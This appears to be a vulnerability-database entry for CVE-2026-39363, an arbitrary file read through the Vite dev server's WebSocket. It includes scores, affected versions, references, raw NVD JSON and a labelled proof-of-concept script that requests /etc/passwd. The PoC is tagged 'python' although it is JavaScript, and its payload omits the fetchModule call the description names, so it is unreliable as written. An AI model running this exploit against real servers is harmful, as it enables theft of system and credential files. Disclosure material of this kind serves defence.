CVE-2026-39363

Description

Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, if it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "..."). The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:voidzero:vite\+:*:*:*:*:*:node.js:*:* - VULNERABLE

Vite >= 6.0.0, < 6.4.2

Vite >= 7.0.0, < 7.3.2

Vite >= 8.0.0, < 8.0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const WebSocket = require('ws');

// Target Vite dev server address (default localhost:5173)
const target = 'ws://localhost:5173';
const ws = new WebSocket(target);

ws.on('open', function open() {
  console.log('[+] Connected to Vite Dev Server');

  // Construct the malicious payload
  // Use 'file://' protocol to read local files and '?raw' to get content
  const payload = {
    event: 'vite:invoke',
    data: {
      path: 'file:///etc/passwd?raw' // Change path to target file
    }
  };

  console.log('[*] Sending payload:', JSON.stringify(payload));
  ws.send(JSON.stringify(payload));
});

ws.on('message', function message(data) {
  console.log('[+] Response received:');
  console.log(data.toString());
  ws.close();
});

ws.on('error', function error(err) {
  console.error('[-] Error:', err);
});

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39363
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39363
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39363/
[4] VulDB https://vuldb.com/cve/CVE-2026-39363
[5] https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583
[6] https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39363", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:30.000", "lastModified": "2026-04-30T18:34:19.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, if it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default \"...\"). The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.4.1", "matchCriteriaId": "FE1AE8AE-8504-4C45-A361-8EF1F8D573AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.3.1", "matchCriteriaId": "8D4169B2-49CC-4174-B1AB-2D61D3441617"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vitejs:vite:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.4", "matchCriteriaId": "51F8A931-4520-4696-89C4-7F94228654F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:voidzero:vite\\+:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "0.1.15", "matchCriteriaId": "6C271AE4-5F12-4689-A8A9-CBCBD3C447DC"}]}]}], "references": [{"url": "https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}